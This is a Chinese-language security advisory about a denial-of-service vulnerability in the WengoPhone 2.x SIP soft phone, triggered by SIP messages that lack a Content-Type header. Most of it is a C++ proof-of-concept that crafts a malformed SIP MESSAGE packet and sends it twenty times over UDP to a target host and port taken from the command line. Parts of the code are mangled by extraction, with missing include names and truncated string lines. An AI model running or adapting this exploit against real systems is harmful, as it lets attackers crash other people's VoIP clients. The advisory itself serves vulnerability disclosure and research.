WengoPhone SIP Soft Phone畸形数据包拒绝服务漏洞
信息来源:ZwelL (zwell@sohu.com) 发表日期:2013-06-15 14:11:00
WengoPhone是法国的VoIP服务提供商,提供基于SIP的软件电话。
WengoPhone 2.1及其他版本没有正确处理不带"Content-Type"字段的畸形数据,在实现上存在拒绝服务漏洞,成功利用后可使远程攻击者造成受影响设备拒绝服务。
BUGTRAQ-ID:25300
受影响系统:
wengophone wengophone 2.x
测试方法:
警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!#include
#include
using namespace std;
#ifdef WIN32
#include
#pragma comment(lib, "ws2_32.lib")
#define close closesocket
#define write(a,b,c) send(a, b, c, 0)
#define writeto(a,b,c,d,e) sendto(a, b, c, 0, d, e)
#define read(a,b,c) recv(a, b, c, 0)
#define readfrom(a,b,c,d,e) recvfrom(a, b, c, 0, d, e)
#else
#include
#include
#include
#include
#include
#define closesocket close
#define SOCKET int
#define DWORD unsigned long
#endif
char *craft_pkt =
"MESSAGE sip:[FROMUSER]@[DOMAIN] SIP/2.0\\r\\n"
"Via: SIP/2.0/UDP [FROMADDR]:[LOCALPORT];branch=[BRANCH]\\r\\n"
"From: [FROMUSER]
"To:
"Call-ID: [CALLID]@[DOMAIN]\\r\\n"
"CSeq: [CSEQ] MESSAGE\\r\\n"
"Contact:
"Content-Length: 0\\r\\n\\r\\n";
void socket_init()
{
#ifdef WIN32
WSADATA wsaData;
WSAStartup(MAKEWORD(2,0), &wsaData);
#endif
}
unsigned long resolv(const char *host)
{
struct hostent *hp;
unsigned long host_ip;
host_ip = inet_addr(host);
if( host_ip == INADDR_NONE )
{
hp = gethostbyname(host);
if(!hp)
{
printf("\\nError: Unable to resolve hostname
(%s)\\n",host);
exit(1);
}
else
host_ip = *(u_long*)hp->h_addr ;
}
return(host_ip);
}
SOCKET udpsocket()
{
/* network */
SOCKET sockfd;
struct sockaddr_in laddr, raddr;
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd == -1)
goto error;
memset((char *) &laddr, 0, sizeof(laddr));
laddr.sin_family = AF_INET;
laddr.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(sockfd, (struct sockaddr *) &laddr, sizeof(laddr)) ==
-1)
goto error;
return sockfd;
error:
#ifdef WIN32
printf("Error:%d\\n", GetLastError());
#endif
return 0;
}
string &replace_all(string &str,const string& old_value,const string&
new_value)
{
while(true)
{
string::size_type pos(0);
if( (pos=str.find(old_value))!=string::npos)
str.replace(pos,old_value.length(),new_value);
else break;
}
return str;
}
string &replace_with_rand(string &str, char *value, int len)
{
char *strspace = "0123456789";
char randstr[100];
for(int i=0; i { do { randstr[i] = strspace[rand()%strlen(strspace)]; }while(randstr[i] == \'0\'); } randstr[len] = 0; replace_all(str, value, randstr); return str; } string build_packet(string _packet, char *addr, char *host) { string packet = _packet; replace_all(packet, "[FROMADDR]", addr); replace_all(packet, "[TOADDR]", host); replace_all(packet, "[DOMAIN]", "www.nosec.org"); replace_all(packet, "[FROMUSER]", "siprint"); replace_with_rand(packet, "[CSEQ]", 9); replace_with_rand(packet, "[CALLID]", 9); replace_with_rand(packet, "[TAG]", 9); replace_with_rand(packet, "[BRANCH]", 9); return packet; } int main(int argc, char **argv) { char *host; int port; char *localip; struct sockaddr_in sockaddr; struct sockaddr_in raddr; int sockaddrlen = sizeof(sockaddr); SOCKET s; printf("WengoPhone 2.1 Missing Content-Type DOS PoC\\n"); if(argc != 4) { printf("usage : %s exit(-1); } host = argv[1]; port = atoi(argv[2]); localip = argv[3]; socket_init(); s = udpsocket(); if(s == 0) { printf("Create udp socket error!\\n", host, port); return 1; } memset(&sockaddr, 0, sockaddrlen); getsockname(s, (struct sockaddr *) &sockaddr, (int *) &sockaddrlen); raddr.sin_family = AF_INET; raddr.sin_addr.S_un.S_addr = resolv(host); raddr.sin_port = htons(port); for(int i=0; i<20; i++) { char portstr[6] = {\'\\0\'}; string packet = build_packet(craft_pkt, localip, host); sprintf(portstr, "%d", ntohs(sockaddr.sin_port)); replace_all(packet, "[LOCALPORT]", portstr); //printf("===========\\n%s\\n===========\\n", packet.c_str()); writeto(s, packet.c_str(), packet.length(), (struct sockaddr*)&raddr, sockaddrlen); Sleep(100); } return 0; } 解决办法: 厂商补丁: 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: